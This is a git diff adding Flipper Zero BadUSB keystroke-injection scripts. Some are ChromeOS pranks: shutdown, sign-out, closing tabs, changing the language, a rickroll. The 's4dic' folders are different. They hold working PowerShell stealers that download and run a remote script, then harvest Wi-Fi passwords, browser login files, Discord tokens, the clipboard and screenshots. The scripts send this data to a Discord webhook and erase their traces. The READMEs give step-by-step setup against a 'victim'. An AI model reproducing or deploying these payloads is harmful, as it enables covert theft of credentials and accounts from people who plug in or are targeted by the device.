+TAB +TAB +DELAY 100 +ENTER \ No newline at end of file diff --git a/badusb/chromeOS/shutdown.txt b/badusb/chromeOS/shutdown.txt new file mode 100644 index 0000000..ce987f6 --- /dev/null +++ b/badusb/chromeOS/shutdown.txt @@ -0,0 +1,21 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Shutdown the computer +REM Requirements: CHROMEOS + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 2000 +SHIFT TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 100 +TAB +TAB +TAB +DELAY 100 +ENTER \ No newline at end of file diff --git a/badusb/chromeOS/shutdowninput.txt b/badusb/chromeOS/shutdowninput.txt new file mode 100644 index 0000000..356abe1 --- /dev/null +++ b/badusb/chromeOS/shutdowninput.txt @@ -0,0 +1,23 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Incase theres a language input changer thing on the bottom of your screen to fuck up shutdown +REM Requirements: CHROMEOS + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 2000 +SHIFT TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 100 +TAB +TAB +TAB +DELAY 100 +ENTER \ No newline at end of file diff --git a/badusb/chromeOS/signout.txt b/badusb/chromeOS/signout.txt new file mode 100644 index 0000000..08c9cad --- /dev/null +++ b/badusb/chromeOS/signout.txt @@ -0,0 +1,17 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM signs out +REM Requirements: CHROMEOS + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 2000 +SHIFT TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 500 +ENTER \ No newline at end of file diff --git a/badusb/chromeOS/signoutinput.txt b/badusb/chromeOS/signoutinput.txt new file mode 100644 index 0000000..ff85cfb --- /dev/null +++ b/badusb/chromeOS/signoutinput.txt @@ -0,0 +1,20 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM signs out if theres the language input bar +REM Requirements: CHROMEOS + +CTRL W +DELAY 100 +CTRL W +DELAY 100 +CTRL W +DELAY 2000 +SHIFT TAB +DELAY 100 +ENTER +DELAY 500 +ENTER +CTRL Q +CTRL Q +CTRL Q +CTRL Q +ENTER diff --git a/badusb/chromeOS/wip/ROLLBACKNEW.txt b/badusb/chromeOS/wip/ROLLBACKNEW.txt new file mode 100644 index 0000000..13d2fbb --- /dev/null +++ b/badusb/chromeOS/wip/ROLLBACKNEW.txt @@ -0,0 +1,29 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Will commit a update rollback/powerwash +REM Might not work with enterprise enrolled devices +REM Requirement: CHROMEOS +DEFAULTDELAY 100 +CTRL W +REPEAT 2 +DELAY 2000 +TAB +TAB +TAB +ENTER +DELAY 1000 +STRING chrome-untrusted://crosh +ENTER +DELAY 3000 +STRING Hacked successfully! +ENTER +DELAY 2000 +STRING cat > /dev/null << EOF +ENTER +DELAY 500 +STRING rollback +DELAY 1000 +ENTER +DELAY 1000 +STRING Y +DELAY 500 +ENTER diff --git a/badusb/chromeOS/wip/arabicnew.txt b/badusb/chromeOS/wip/arabicnew.txt new file mode 100644 index 0000000..c8c88da --- /dev/null +++ b/badusb/chromeOS/wip/arabicnew.txt @@ -0,0 +1,36 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Changes language in settings to arabic ( It will still have the language input bar in the bottom ) +REM Requirements: CHROMEOS +DEFAULTDELAY 100 +CTRL W +REPEAT 2 +TAB +ENTER +DELAY 500 +STRING add input methods +DELAY 1000 +ENTER +REM ----- +DELAY 3000 +ENTER +DELAY 700 +STRING arabic +DELAY 500 +ENTER +TAB +TAB +ENTER +TAB +TAB +ENTER +REM ----- +DELAY 500 +SHIFT TAB +DELAY 70 +SHIFT TAB +DELAY 70 +SHIFT TAB +DELAY 70 +ENTER +CTRL W +REPEAT 2 diff --git a/badusb/chromeOS/wip/brainynew.txt b/badusb/chromeOS/wip/brainynew.txt new file mode 100644 index 0000000..092f268 --- /dev/null +++ b/badusb/chromeOS/wip/brainynew.txt @@ -0,0 +1,17 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Resets brainly.com cookies for you +REM CHROMEOS +DEFAULTDELAY 500 +CTRL T +STRING chrome://settings/siteData +ENTER +DELAY 3000 +TAB +DELAY 2000 +STRING brainly +DELAY 1000 +TAB +REPEAT 3 +ENTER +DELAY 1000 +CTRL W diff --git a/badusb/chromeOS/wip/closetestnew.txt b/badusb/chromeOS/wip/closetestnew.txt new file mode 100644 index 0000000..8b36b27 --- /dev/null +++ b/badusb/chromeOS/wip/closetestnew.txt @@ -0,0 +1,6 @@ +REM MADE BY HTTPS / https://github.com/httpsisbetter +REM Closes all tabs ( Change the amount of CTRL W you want the more the ctrl W the more tabs it closes ) +REM ChromeB +DEFAULTDELAY 100 +CTRL W +REPEAT 2 diff --git a/badusb/qFlipper-windows.txt b/badusb/qFlipper-windows.txt new file mode 100644 index 0000000..f94de22 --- /dev/null +++ b/badusb/qFlipper-windows.txt @@ -0,0 +1,22 @@ +REM made by DEXV#6969 +REM this script auto installs qFlipper +DELAY 3000 +GUI r +DELAY 1000 +STRING powershell (new-object System.Net.WebClient).DownloadFile('https://update.flipperzero.one/builds/qFlipper/1.2.2/qFlipperSetup-64bit-1.2.2.exe','%TEMP%\Dexv.exe'); Start-Process "%TEMP%\Dexv.exe" +DELAY 500 +ENTER +DELAY 750 +ALT SPACE +STRING M +DOWNARROW +REPEAT 100 +ENTER +DELAY 13000 +ENTER +DELAY 1000 +ENTER +DELAY 1000 +ENTER +DELAY 4000 +ENTER \ No newline at end of file diff --git a/badusb/rickroll-android.txt b/badusb/rickroll-android.txt new file mode 100644 index 0000000..51ac99f --- /dev/null +++ b/badusb/rickroll-android.txt @@ -0,0 +1,14 @@ +REM Just another rickroll payload but for android +REM Credit: John Hickens + +GUI b +DELAY 600 +ENTER +DELAY 1000 +CTRL l +DELAY 100 +STRING https://www.youtube.com/watch?v=xm3YgoEiEDc +DELAY 100 +ENTER +DELAY 500 +STRING f diff --git a/badusb/s4dic - BadUSB/DiscordGrabber/DiscordGrabber.txt b/badusb/s4dic - BadUSB/DiscordGrabber/DiscordGrabber.txt new file mode 100644 index 0000000..aa6275c --- /dev/null +++ b/badusb/s4dic - BadUSB/DiscordGrabber/DiscordGrabber.txt @@ -0,0 +1,207 @@ +REM This script grab wifi password, Discord file(for token), and password file from Firefox , Chrome, Edge +REM Change URL by yours + +DELAY 1000 +GUI r +DELAY 500 +STRING powershell Set-ExecutionPolicy -Scope "CurrentUser" -ExecutionPolicy "Unrestricted"; powershell -c Start-BitsTransfer -Source http://nomdecomaine.com/p -Destination $env:temp\p.ps1; powershell $env:temp\p.ps1; +DELAY 500 +ENTER +DELAY 250 +WINDOWS DOWNARROW +DELAY 20000 +GUI r +DELAY 500 +STRING microsoft-edge: +DELAY 300 +ENTER +DELAY 600 +GUI r +DELAY 500 +STRING microsoft-edge: +DELAY 500 +ENTER +DELAY 4000 +STRING chrome://inspect/#devices +ENTER +DELAY 18000 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +SPACE +DELAY 2000 +WINDOWS UPARROW +DELAY 100 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +SPACE +DELAY 250 +DOWNARROW +DELAY 250 +DOWNARROW +DELAY 250 +ENTER +DELAY 500 +STRING webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m.find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken() +DELAY 200 +ENTER +DELAY 200 +TAB +DELAY 150 +TAB +DELAY 150 +TAB +DELAY 150 +TAB +DELAY 150 +TAB +DELAY 150 +TAB +DELAY 200 +SPACE +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 250 +TAB +DELAY 500 +CTRL a +DELAY 400 +CTRL c +DELAY 1000 +TAB +DELAY 250 +TAB +DELAY 500 +CTRL a +DELAY 400 +CTRL c diff --git a/badusb/s4dic - BadUSB/DiscordGrabber/ReadMe.md b/badusb/s4dic - BadUSB/DiscordGrabber/ReadMe.md new file mode 100644 index 0000000..da86ab9 --- /dev/null +++ b/badusb/s4dic - BadUSB/DiscordGrabber/ReadMe.md @@ -0,0 +1,29 @@ +### Stole the discord token with the BadUSB mode +* the script does not require any administrator rights + +## Installation : +* Step 1: Have a domain name and hosting + a zero flipper +* Step 2: Go to my github and get the two files: https://github.com/s4dic/FlipperZero/tree/main/BadUsb/DiscordGrabber +* Step 3: Create a Discord server where only you have access ( the server will allow to send the victim's info so be careful: if it's a public server for can be report and ban from discord) +* Step 4: Create a textual channel on the discord you just created then go to the channel settings to create a webhook +* Step 5: Modify the script "payload to upload online.ps1" by changing the URL of the webhook (at the beginning of the script). +* Step 6: Rename the script you just modified with a name following "p" (do not put another name, and the name must be without quotes and without extension), then send your script on hosting, check that your script is accessible with your domainname.com/p +* Step 7: Open the file "DiscordGrabber.txt" and change the url http://domain.com/p by your URL. +* Step 8: Place the file "DiscordGrabber.txt" in your flipper zero in the folder badusb, either in the root of this folder or in a subfolder +* Step 9: Launch the attack (on a vm or on your pc it doesn't matter) + +## Demo : +[https://youtu.be/9SCo1_XL6R4](https://youtu.be/9SCo1_XL6R4) + +## Data Exfiltrated : +- `Token Discord` - Get the private token of running discord client (+screen capture of token) +- `PC Name` - Get the name of PC +- `ClipBoard` - Get the PC ClipBoard +- `environment variables` - The environment variables use on the PC +- `PUBLIC IP` - Get the Public WAN IPv4 +- `PRIVATE IP` - Get the Private LAN IPv4 +- `Other network information` - Other network informations like: Gateway, DNS, DHCP, network card(MAC), IPv6, etc... +- `Installed Software` - List all installed application on the PC +- `Web Browser Password` - Get the private file containing web browser password (Works with firefox,Edge & Chrome) (you need copy/past the file to the %appdata% web broser folder to get cleared password) +- `Screen Capture` - Get a screen capture before the attack begins +- `WIFI Password` - Get in clear all wifi password stored (if pc don't have a wifi password you get a blank txt file) diff --git a/badusb/s4dic - BadUSB/DiscordGrabber/payload à upload en ligne.ps1 b/badusb/s4dic - BadUSB/DiscordGrabber/payload à upload en ligne.ps1 new file mode 100644 index 0000000..92324ea --- /dev/null +++ b/badusb/s4dic - BadUSB/DiscordGrabber/payload à upload en ligne.ps1 @@ -0,0 +1,247 @@ +#Payload to execute in your flipperZero: this dowload, execute and clear history +#$n='i';set-alias v $n'wr';$b=[char]116;$c=[char]47;$a=$([char]104+$b+$b+[char]112+[char]58+$c+$c);IEX (v -usebasicparsing $a'raw.githubusercontent.com/s4dic/DiscordGrabber/main/bd.ps1?token=GHSAT0AAAAAABXCYHCCGGWFF43MHDED24HEYXT6JBQ'); PSReadLine; [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory(); exit + +#Todo: +# Correct the Edge password error + +#CHANGE URL TO YOUR URL + $url="https://discord.com/api/webhooks/XXXXXXXXXXXXXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" ; +#Get PC Name+Date+Time + $namepc = Get-Date -UFormat "$env:computername-$env:UserName-%m-%d-%Y_%H-%M-%S" + +# Get PC ClipBoard + echo "" > "$env:temp\stats-$namepc.txt"; + echo "####PC ClipBoard under this line:" >> "$env:temp\stats-$namepc.txt"; + echo "####################################" >> "$env:temp\stats-$namepc.txt"; + Get-Clipboard >> "$env:temp\stats-$namepc.txt"; + echo "####################################" >> "$env:temp\stats-$namepc.txt"; + echo "####End ClipBoard" >> "$env:temp\stats-$namepc.txt"; + +# Get WifiPassword +echo "" > "$env:temp\WIFI-$namepc.txt"; +(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | out-file "$env:temp\WIFI-$namepc.txt"; + +# Screenshot + cd "$env:temp"; + echo 'function Get-ScreenCapture' > "d.ps1"; + echo '{' >> "d.ps1"; + echo ' begin {' >> "d.ps1"; + echo ' Add-Type -AssemblyName System.Drawing, System.Windows.Forms' >> "d.ps1"; + echo ' Add-Type -AssemblyName System.Drawing' >> "d.ps1"; + echo ' $jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() |' >> "d.ps1"; + echo ' Where-Object { $_.FormatDescription -eq "JPEG" }' >> "d.ps1"; + echo ' }' >> "d.ps1"; + echo ' process {' >> "d.ps1"; + echo ' Start-Sleep -Milliseconds 44' >> "d.ps1"; + echo ' [Windows.Forms.Sendkeys]::SendWait("{PrtSc}")' >> "d.ps1"; + echo ' Start-Sleep -Milliseconds 550' >> "d.ps1"; + echo ' $bitmap = [Windows.Forms.Clipboard]::GetImage()' >> "d.ps1"; + echo ' $ep = New-Object Drawing.Imaging.EncoderParameters' >> "d.ps1"; + echo ' $ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100)' >> "d.ps1"; + echo ' $screenCapturePathBase = $env:temp + "\" + $env:UserName + "_Capture"' >> "d.ps1"; + echo ' $bitmap.Save("${screenCapturePathBase}.jpg", $jpegCodec, $ep)' >> "d.ps1"; + echo ' }' >> "d.ps1"; + echo '}' >> "d.ps1"; + echo 'Get-ScreenCapture' >> "d.ps1"; + sleep 1 + $screencapture = echo $env:temp"\"$env:UserName"_Capture" + powershell -c $env:temp\d.ps1; + $Screencap = "$env:temp\d.ps1"; + +#New token Grab Method Aug 2022 + taskkill /IM Discord.exe /F + taskkill /IM Discord.exe /F + gci $env:appdata\..\local\Discord\app-*\ | ? { $_.PSIsContainer } | sort CreationTime -desc | select -f 1 | cd; + .\Discord.exe --remote-debugging-port=9222 + +#Get Discord Folder (deprecated function) +# #Discord ZIP +# Add-Type -Assembly "System.IO.Compression.FileSystem" ; +# #Kill Discord +# taskkill /IM Discord.exe /F +# cd C:\Users\$env:UserName\AppData\Local\Discord\app-*\; .\Discord.exe --remote-debugging-port=9222; +#Define zip to copy +# $tokenfile = "$env:temp\Discord-Token-$namepc.zip" + +# Get PC information + dir env: >> "$env:temp\stats-$namepc.txt"; +# Get public IP + $pubip = (Invoke-WebRequest -UseBasicParsing -uri "http://ifconfig.me/").Content + echo "PUBLIC IP: $pubip" >> "$env:temp\stats-$namepc.txt"; +# Get Local IP + ipconfig /all >> "$env:temp\stats-$namepc.txt"; +# List all installed Software + echo "Installed Software:" >> "$env:temp\stats-$namepc.txt"; + Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize >> "$env:temp\stats-$namepc.txt"; + Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize >> "$env:temp\stats-$namepc.txt"; + +#Get FireFox Password + #firefox ZIP + Add-Type -Assembly "System.IO.Compression.FileSystem" ; + #Kill Firefox + taskkill /IM firefox.exe /F + #search key4.db and logins.json + $key4 = Get-Childitem -Path $env:appdata\Mozilla\Firefox\Profiles\ -Include key4.db -Recurse -ErrorAction SilentlyContinue | % { $_.fullname } + $logins = Get-Childitem -Path $env:appdata\Mozilla\Firefox\Profiles\ -Include logins.json -Recurse -ErrorAction SilentlyContinue | % { $_.fullname } + #Compress firefox files where stored passwords + $compress = @{ + Path = "$key4", "$logins" + CompressionLevel = "Fastest" + DestinationPath = "$env:temp\Firefox-Password-$namepc.zip" + } + Compress-Archive @compress -Update +#Define zip to copy +$firefoxpassword = "$env:temp\Firefox-Password-$namepc.zip" + +#Get Chrome Password + #Chrome ZIP + Add-Type -Assembly "System.IO.Compression.FileSystem"; + #Kill Chrome + taskkill /IM chrome.exe /F + sleep 1 + #Compress chrome files where stored passwords + $compress = @{ + Path = "$env:appdata\..\local\Google\Chrome\User Data\Local State", "$env:appdata\..\local\Google\Chrome\User Data\default\Login Data", "$env:appdata\..\local\Google\Chrome\User Data\default\Preferences" + CompressionLevel = "Fastest" + DestinationPath = "$env:temp\Chrome-Password-$namepc.zip" + } + Compress-Archive @compress -Update + sleep 1 +#Define zip to copy +$chromepassword = "$env:temp\Chrome-Password-$namepc.zip" + +#Get Edge Password + #Edge ZIP + Add-Type -Assembly "System.IO.Compression.FileSystem" ; + #Kill Edge + taskkill /IM msedge.exe /F + sleep 1 + #Compress Edge files where stored passwords + $compress = @{ + Path = "$env:appdata\..\Local\Microsoft\Edge\User Data\Local State", "$env:appdata\..\Local\Microsoft\Edge\User Data\default\Login Data", "$env:appdata\..\Local\Microsoft\Edge\User Data\default\Preferences" + CompressionLevel = "Fastest" + DestinationPath = "$env:temp\Edge-Password-$namepc.zip" + } + Compress-Archive @compress -Update + sleep 1 +#Define zip to copy +$edgepassword = "$env:temp\Edge-Password-$namepc.zip" + +#Backup Edge folder to star with empty edge browser, to get Token with flipper + #Kill Edge Again + taskkill /IM msedge.exe /F + mv $env:APPDATA\..\Local\Microsoft\Edge $env:APPDATA\..\Local\Microsoft\ZZZZZZZ + +#Sleep 60 to wait flipperzero action on discord token +sleep 60 + +#get discord token with Clipboard Method + Get-Clipboard >> "$env:temp\tk.txt"; + $token =Get-content -tail 1 "$env:temp\tk.txt"; + echo "" >> "$env:temp\stats-$namepc.txt"; + echo "Discord Token" >> "$env:temp\stats-$namepc.txt"; + echo "########" >> "$env:temp\stats-$namepc.txt"; + echo $token >> "$env:temp\stats-$namepc.txt"; + echo "########" >> "$env:temp\stats-$namepc.txt"; + + # Screenshot Token for Backup if clipboard Fail: + cd "$env:temp"; + echo 'function Get-ScreenCapture' > "d.ps1"; + echo '{' >> "d.ps1"; + echo ' begin {' >> "d.ps1"; + echo ' Add-Type -AssemblyName System.Drawing, System.Windows.Forms' >> "d.ps1"; + echo ' Add-Type -AssemblyName System.Drawing' >> "d.ps1"; + echo ' $jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() |' >> "d.ps1"; + echo ' Where-Object { $_.FormatDescription -eq "JPEG" }' >> "d.ps1"; + echo ' }' >> "d.ps1"; + echo ' process {' >> "d.ps1"; + echo ' Start-Sleep -Milliseconds 44' >> "d.ps1"; + echo ' [Windows.Forms.Sendkeys]::SendWait("{PrtSc}")' >> "d.ps1"; + echo ' Start-Sleep -Milliseconds 550' >> "d.ps1"; + echo ' $bitmap = [Windows.Forms.Clipboard]::GetImage()' >> "d.ps1"; + echo ' $ep = New-Object Drawing.Imaging.EncoderParameters' >> "d.ps1"; + echo ' $ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100)' >> "d.ps1"; + echo ' $screenCapturePathBase = $env:temp + "\" + $env:UserName + "Token_Capture"' >> "d.ps1"; + echo ' $bitmap.Save("${screenCapturePathBase}.jpg", $jpegCodec, $ep)' >> "d.ps1"; + echo ' }' >> "d.ps1"; + echo '}' >> "d.ps1"; + echo 'Get-ScreenCapture' >> "d.ps1"; + $tokencapture = echo $env:temp"\"$env:UserName"Token_Capture" + powershell -c $env:temp\d.ps1; + $Screencap = "$env:temp\d.ps1"; + +#UPLOAD +cd $env:temp +# Send Name Computer to discord + $Body=@{ content = "**Stats from Flipper-Zero on user:** $env:UserName, on pc: $env:computername"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); +# Upload Stat + curl.exe -F "file1=@stats-$namepc.txt" $url; +# Upload wifi password + curl.exe -F "file2=@WIFI-$namepc.txt" $url; +# Upload Token Clipboard + $Body=@{ content = "**Discord Token:** ||$token||"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); +# Upload Token Screenshot Backup + $Body=@{ content = "**Token Capture Backup if clipBoard Fail:**"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); + curl.exe -F "file2=@$tokencapture.jpg" $url; +# Upload Discord Token (deprecated function) +# curl.exe -i -F file=@"$tokenfile" $url + +# Upload Webbroser Password Pwned + $Body=@{ content = "**Web Browsers Password Pwned**"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); +# Upload firefox password + curl.exe -i -F file=@"$firefoxpassword" $url +# Upload chrome password + curl.exe -i -F file=@"$chromepassword" $url +# Upload Edge password + curl.exe -i -F file=@"$edgepassword" $url +# Upload screenshot + sleep 1 + $Body=@{ content = "**Screen Capture before attack start**"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); + curl.exe -F "file2=@$screencapture.jpg" $url; + +# Remove Edge clear configuration + # Kill again and agan Edge after flipper zero get the token + taskkill /IM msedge.exe /F + Remove-Item $env:APPDATA\..\Local\Microsoft\Edge -Force -Recurse; + sleep 2 + Remove-Item $env:APPDATA\..\Local\Microsoft\Edge -Force -Recurse; + # Restore Edge configuration + mv $env:APPDATA\..\Local\Microsoft\ZZZZZZZ $env:APPDATA\..\Local\Microsoft\Edge + +#Delete all file +# Delete ZIP Discord Token (deprecated function) +# Remove-Item "$tokenfile" -Force -Recurse; +# Delete stat + Remove-Item "stats-$namepc.txt" -Force -Recurse; +# Delete wifi password + Remove-Item "WIFI-$namepc.txt" -Force -Recurse; +# Delete screenshot + Remove-Item $screencapture* -Force -Recurse; +# Delete token screencapture + Remove-Item $tokencapture* -Force -Recurse; +# Delete token file + Remove-Item "$env:temp\tk.txt"; -Force -Recurse; +# Delete firefox password + Remove-Item $firefoxpassword -Force -Recurse; +# Delete Chrome password + Remove-Item $chromepassword -Force -Recurse; +# Delete Edge password + Remove-Item $edgepassword -Force -Recurse; +# Delete this script + Remove-Item $env:temp\p.ps1 -Force -Recurse; +# Delete screencapture script + Remove-Item $env:temp\d.ps1 -Force -Recurse; + +#Last discord kill before quit +taskkill /IM Discord.exe /F + +# Clear History powershell: + [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory(); +# Clear run powershell: + Remove-Item HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU +exit; diff --git a/badusb/s4dic - BadUSB/passwordgrabber/ReadMe.md b/badusb/s4dic - BadUSB/passwordgrabber/ReadMe.md new file mode 100644 index 0000000..4d4faae --- /dev/null +++ b/badusb/s4dic - BadUSB/passwordgrabber/ReadMe.md @@ -0,0 +1,28 @@ +### Stole pc password with the BadUSB mode +* the script does not require any administrator rights + +## Installation : +* Step 1: Have a domain name and hosting + a zero flipper +* Step 2: go to my github and get the two files: https://github.com/s4dic/FlipperZero/tree/main/BadUsb/passwordgrabber +* Step 3: Create a Discord server where only you have access ( the server will allow to send the victim's info so be careful: if it's a public server for can be report and ban from discord) +* Step 4: Create a textual channel on the discord you just created then go to the channel settings to create a webhook +* Step 5: Modify the script "payload to upload online.ps1" by changing the URL of the webhook (at the beginning of the script). +* Step 6: Rename the script you just modified with a name following "e" (do not put another name, and the name must be without quotes and without extension), then send your script on hosting, check that your script is accessible with your domainname.com/e +* Step 7: Open the file "mdponly" change the url http://domain.com/e by your URL. +* Step 8: Place the file "mdponly" in your flipper zero in the folder badusb, either in the root of this folder or in a subfolder +* Step 9: Launch the attack (on a vm or on your pc it doesn't matter) + +## Demo : +[https://youtu.be/OfgyzUYEPXw](https://youtu.be/OfgyzUYEPXw) + +## Data Exfiltrated : +- `PC Name` - Get the name of PC +- `ClipBoard` - Get the PC ClipBoard +- `environment variables` - The environment variables use on the PC +- `PUBLIC IP` - Get the Public WAN IPv4 +- `PRIVATE IP` - Get the Private LAN IPv4 +- `Other network information` - Other network informations like: Gateway, DNS, DHCP, network card(MAC), IPv6, etc... +- `Installed Software` - List all installed application on the PC +- `Web Browser Password` - Get the private file containing web browser password (Works with firefox,Edge & Chrome) (you need copy/past the file to the %appdata% web broser folder to get cleared password) +- `Screen Capture` - Get a screen capture before the attack begins +- `WIFI Password` - Get in clear all wifi password stored (if pc don't have a wifi password you get a blank txt file) diff --git a/badusb/s4dic - BadUSB/passwordgrabber/mdponly b/badusb/s4dic - BadUSB/passwordgrabber/mdponly new file mode 100644 index 0000000..57bde4b --- /dev/null +++ b/badusb/s4dic - BadUSB/passwordgrabber/mdponly @@ -0,0 +1,12 @@ +DELAY 1000 +GUI r +DELAY 500 +STRING powershell Set-ExecutionPolicy -Scope "CurrentUser" -ExecutionPolicy "Unrestricted"; powershell -c Start-BitsTransfer -Source http://domain.com/e -Destination $env:temp\e.ps1; powershell $env:temp\e.ps1; +DELAY 500 +ENTER +DELAY 1000 +STRING T +DELAY 500 +ENTER +DELAY 1000 +WINDOWS DOWNARROW diff --git a/badusb/s4dic - BadUSB/passwordgrabber/payload à upload en ligne.ps1 b/badusb/s4dic - BadUSB/passwordgrabber/payload à upload en ligne.ps1 new file mode 100644 index 0000000..06e851e --- /dev/null +++ b/badusb/s4dic - BadUSB/passwordgrabber/payload à upload en ligne.ps1 @@ -0,0 +1,166 @@ +#CHANGE URL TO YOUR URL + $url="https://discord.com/api/webhooks/XXXXXXXXXXXXXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" ; +#Get PC Name+Date+Time + $namepc = Get-Date -UFormat "$env:computername-$env:UserName-%m-%d-%Y_%H-%M-%S" + +# Get PC ClipBoard + echo "" > "$env:temp\stats-$namepc.txt"; + echo "####PC ClipBoard under this line:" >> "$env:temp\stats-$namepc.txt"; + echo "####################################" >> "$env:temp\stats-$namepc.txt"; + Get-Clipboard >> "$env:temp\stats-$namepc.txt"; + echo "####################################" >> "$env:temp\stats-$namepc.txt"; + echo "####End ClipBoard" >> "$env:temp\stats-$namepc.txt"; + +# Get WifiPassword +echo "" > "$env:temp\WIFI-$namepc.txt"; +(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | out-file "$env:temp\WIFI-$namepc.txt"; + +# Screenshot + cd "$env:temp"; + echo 'function Get-ScreenCapture' > "d.ps1"; + echo '{' >> "d.ps1"; + echo ' begin {' >> "d.ps1"; + echo ' Add-Type -AssemblyName System.Drawing, System.Windows.Forms' >> "d.ps1"; + echo ' Add-Type -AssemblyName System.Drawing' >> "d.ps1"; + echo ' $jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() |' >> "d.ps1"; + echo ' Where-Object { $_.FormatDescription -eq "JPEG" }' >> "d.ps1"; + echo ' }' >> "d.ps1"; + echo ' process {' >> "d.ps1"; + echo ' Start-Sleep -Milliseconds 44' >> "d.ps1"; + echo ' [Windows.Forms.Sendkeys]::SendWait("{PrtSc}")' >> "d.ps1"; + echo ' Start-Sleep -Milliseconds 550' >> "d.ps1"; + echo ' $bitmap = [Windows.Forms.Clipboard]::GetImage()' >> "d.ps1"; + echo ' $ep = New-Object Drawing.Imaging.EncoderParameters' >> "d.ps1"; + echo ' $ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100)' >> "d.ps1"; + echo ' $screenCapturePathBase = $env:temp + "\" + $env:UserName + "_Capture"' >> "d.ps1"; + echo ' $bitmap.Save("${screenCapturePathBase}.jpg", $jpegCodec, $ep)' >> "d.ps1"; + echo ' }' >> "d.ps1"; + echo '}' >> "d.ps1"; + echo 'Get-ScreenCapture' >> "d.ps1"; + $screencapture = echo $env:temp"\"$env:UserName"_Capture" + powershell -c $env:temp\d.ps1; + $Screencap = "$env:temp\d.ps1"; + +# Get PC information + dir env: >> "$env:temp\stats-$namepc.txt"; +# Get public IP + $pubip = (Invoke-WebRequest -UseBasicParsing -uri "http://ifconfig.me/").Content + echo "PUBLIC IP: $pubip" >> "$env:temp\stats-$namepc.txt"; +# Get Local IP + ipconfig /all >> "$env:temp\stats-$namepc.txt"; +# List all installed Software + echo "Installed Software:" >> "$env:temp\stats-$namepc.txt"; + Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize >> "$env:temp\stats-$namepc.txt"; + 